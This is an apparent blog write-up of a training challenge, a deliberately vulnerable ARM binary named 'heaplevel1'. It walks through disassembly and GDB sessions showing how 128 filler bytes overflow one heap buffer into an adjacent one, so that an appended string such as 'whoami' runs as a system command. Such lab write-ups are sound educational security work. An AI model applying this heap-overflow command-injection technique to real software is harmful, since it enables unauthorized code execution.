Basic Heap Overflow

Intro

I finally had some time to get back to Billy’s ARM exploitation challenges found on his github. Until now, I have only really focused on the stack based vulnerabilities so I wanted to try some of his Heap based challenges. This post covers my approach to completing his ‘Heap Level 1’ challenge.

The Challenge:

The first Heap challenge that he released contained a very simple heap overflow vulnerability that allows the execution of a custom system command. The following output is produced from executing the binary:

Garys-iPhone:/lab/rop root# ./heaplevel1 
Usage: ./heaplevel1 <username>

From above, we can see that the binary takes a single argument; the username. Executing the binary with a specified username executes additional code and produces different output:

Garys-iPhone:/lab/rop root# ./heaplevel1 test
Welcome to heaplevel1, created by @bellis1000
User: test is executing command "date"
Sun Feb 24 01:48:27 GMT 2019

Inspecting the Binary

To see what’s going on inside the binary, we can make use of a disassembler, for this step I used Hopper, but other tools will help accomplish the same.

Looking at the following code, we can see there are two malloc functions. As this binary was compiled for the ARM architecture, we can picture the malloc() functions and the values used within their parameters.

void *malloc(size_t size)

In ARM, the R1 register is used to hold the value of the first parameter of a function, so from the following code we can see that the value ‘0x80’ is moved into R1 before the malloc() function is called.

0000be4c         movw       r1, #0x80
0000be50         str        r0, [sp, #0x30 + var_1C]
0000be54         mov        r0, r1
0000be58         bl         imp___symbolstub1__malloc
0000be5c         movw       r1, #0x80
0000be60         str        r0, [r7, #-0x10]
0000be64         mov        r0, r1
0000be68         bl         imp___symbolstub1__malloc

0x80 in decimal is 128, so we know that both malloc calls pass the decimal value of 128 in as a parameter and allocate 128 bytes of heap memory.

malloc(128);

Based on the two call’s occuring one after the other, both allocations will likely be next to each other within memory however we can dig deeper into this at runtime using GDB. Before we do this, there are a few more things we can do to help make our debugging a little smoother. The following list holds some points that we need to keep in mind whilst stepping through each instruction:

Runtime analysis:

Breakpoint 0xbec4 Run to it, dump registers. See that r1 is the init’d string, r2 is the username and r3 is the system call.

(gdb) c
Continuing.
Welcome to heaplevel1, created by @bellis1000

Breakpoint 2, 0x0000bec4 in main ()
(gdb) i r
r0             0xbfbd	49085
r1             0x14b010	1355792
r2             0x14b090	1355920
r3             0x14b090	1355920
r4             0x0	0
r5             0x0	0
r6             0x0	0
r7             0x27dff758	668989272
r8             0x27dff75c	668989276
r9             0x3a80ce30	981519920
r10            0x0	0
r11            0x0	0
r12            0x14b091	1355921
sp             0x27dff728	668989224
lr             0x38a63ddf	950418911
pc             0xbec4	48836

View the addresses the r1, r2 and r3 to picture the printed output.

(gdb) x/w 0xbfbd
0xbfbd:  "\033[36mUser: %s is executing command \"%s\"\n"
(gdb) x/w 0x14b010
0x14b010:  'A' <repeats 128 times>
(gdb) x/2w 0x14b010
0x14b010:  'A' <repeats 128 times>
0x14b091:  "ate"

Run it again with 128 A’s and 4 B’s.

Welcome to heaplevel1, created by @bellis1000
User: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB is executing command "BBBB"
sh: BBBB: command not found

We now know that the BBBB overwrites the value stored in the address that is used during the execution of the system command. Minus the r2 addr from r3 addr == 128 bytes, proof that the heap allocs are next to each other.

128 A’s with ‘whoami’ == overflow into code exec

Breakpoint 2, 0x0000bec4 in main ()
(gdb) i r
r0             0xbfbd	49085
r1             0x155c20	1399840
r2             0x155ca0	1399968
r3             0x155ca0	1399968
(gdb) x/10w 0x155c20
0x155c20:  'A' <repeats 128 times>, "whoami"
(gdb) c
Continuing.
User: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwhoami is executing command "whoami"
root

Conclusion and my thoughts:

I would be interested to hear feedback about this technique and whether or not there are further ways to increase the reliability of the results as well as maintaining the speed. Let me know your thoughts on twitter.

Thanks for reading.